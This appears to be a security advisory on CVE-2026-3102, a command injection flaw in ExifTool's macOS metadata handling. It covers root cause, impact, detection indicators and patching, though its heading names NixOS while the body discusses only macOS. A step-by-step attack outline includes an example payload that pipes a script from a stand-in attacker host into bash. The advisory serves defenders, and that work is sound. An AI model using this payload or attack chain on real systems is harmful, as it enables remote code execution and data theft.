CVE-2026-3102: 
NixOS vulnerability analysis and mitigation

CVE-2026-3102 is an OS command injection vulnerability in ExifTool affecting versions up to 13.49 on macOS. The flaw resides in the SetMacOSTags function within lib/Image/ExifTool/MacOS.pm, part of the PNG File Parser component. By manipulating the DateTimeOriginal metadata argument in a crafted PNG file, a remote attacker can inject and execute arbitrary OS commands when the file is processed. It was disclosed on February 24, 2026, and carries a CVSS v3.1 base score of 8.8 (High) (Red Hat Advisory, Red Hat Bugzilla).

The root cause is improper neutralization of special elements used in an OS command (CWE-78 / CWE-77), where user-controlled metadata from a PNG file's DateTimeOriginal field is passed unsanitized to a shell command within the SetMacOSTags function in lib/Image/ExifTool/MacOS.pm. This function is invoked on macOS to apply extended file attributes using system-level calls, and the lack of input sanitization allows shell metacharacters embedded in the metadata value to break out of the intended command context and execute arbitrary code. Exploitation requires user interaction — specifically, a victim must process a maliciously crafted PNG file using a vulnerable ExifTool version — but no authentication or special privileges are required from the attacker. The patch (commit e9609a9bcc0d32bd252a709a562fb822d6dd86f7) was credited to researcher Tay Kiat Loong (GitHub Commit, Red Hat Bugzilla).

Successful exploitation allows an attacker to execute arbitrary OS commands on the victim's macOS system with the privileges of the user running ExifTool, resulting in high confidentiality, integrity, and availability impact. An attacker could exfiltrate sensitive files, install persistent backdoors, or pivot to other systems accessible from the compromised host. The attack surface includes any workflow — automated or manual — that processes untrusted PNG files through ExifTool on macOS, such as photo management pipelines, web upload handlers, or digital asset management systems (Red Hat Advisory, Kaspersky Blog).

Proof-of-concept exploit code and a video demonstration have been publicly disclosed via VulDB and YouTube, and a PoC repository is available on GitHub (VulDB, YouTube PoC, GitHub PoC). The CVSS v4.0 exploit maturity is rated as PROOF_OF_CONCEPT. As of the available intelligence, there is no confirmed evidence of active in-the-wild exploitation or threat actor attribution. The EPSS score is approximately 0.204%, and the vulnerability is not currently listed in the CISA Known Exploited Vulnerabilities (KEV) catalog (Feedly).

1. Craft a malicious PNG file: Create a PNG image with a DateTimeOriginal EXIF/metadata field containing OS command injection payloads (e.g., 2026:01:01 00:00:00; curl http://attacker.com/shell.sh | bash). Tools such as ExifTool itself or Python's piexif library can be used to embed the payload.
2. Deliver the file to the target: Distribute the malicious PNG via email attachment, file sharing, web upload form, or any channel where the victim is likely to process the image through ExifTool on macOS.
3. Trigger ExifTool processing: The victim (or an automated pipeline) runs ExifTool against the malicious PNG on macOS. This invokes the SetMacOSTags function in lib/Image/ExifTool/MacOS.pm, which passes the unsanitized DateTimeOriginal value to a shell command.
4. Command injection executes: The injected shell metacharacters cause the operating system to execute the attacker's payload in the context of the user running ExifTool, enabling reverse shell establishment, data exfiltration, or persistence mechanisms.
5. Post-exploitation: With arbitrary command execution, the attacker can install a persistent backdoor (e.g., LaunchAgent plist), exfiltrate credentials or sensitive files, or use the compromised host as a pivot point for lateral movement (VulDB, Daily Security Review).

• Process: Unusual child processes spawned by the ExifTool Perl interpreter (e.g., /bin/bash, /bin/sh, curl, wget, python, osascript) immediately after processing a PNG file.
• Network: Unexpected outbound connections from the host to unknown external IPs or domains shortly after ExifTool execution; DNS queries for attacker-controlled domains.
• File System: New or modified files in user home directories (e.g., ~/Library/LaunchAgents/) or /tmp/ created around the time of ExifTool invocation; unexpected scripts or binaries dropped on disk.
• Logs: macOS Unified Log (log show) entries showing ExifTool spawning shell processes; xattr or mdls command invocations with anomalous arguments containing shell metacharacters.
• Metadata Artifacts: PNG files with DateTimeOriginal fields containing shell special characters (;, |, $(), backticks) detectable via forensic metadata inspection.

The vulnerability is fixed in ExifTool version 13.50 (released February 7, 2026), via patch commit e9609a9bcc0d32bd252a709a562fb822d6dd86f7. All users running ExifTool up to version 13.49 on macOS should upgrade immediately (GitHub Release, GitHub Commit). As a temporary workaround until patching is possible, restrict processing of PNG files from untrusted sources through ExifTool, or disable ExifTool-based metadata writing on macOS systems. Organizations using ExifTool in automated pipelines should audit and sandbox those workflows to limit the impact of exploitation.

Kaspersky published blog posts across multiple regional sites covering the vulnerability and mitigation guidance, indicating notable vendor-adjacent attention (Kaspersky Blog). Kaspersky's Securelist also published a deeper technical analysis titled "How an image could compromise your Mac" (Securelist). The vulnerability was covered by multiple security news outlets including GBHackers, CyberSecurityNews, CyberPress, and The Hacker News' weekly recap, reflecting broad community awareness. Social media discussion was observed on Mastodon, Bluesky, and Reddit (r/cybersecurity, r/blueteamsec), with the SANS ISC podcast also covering the issue (SANS ISC).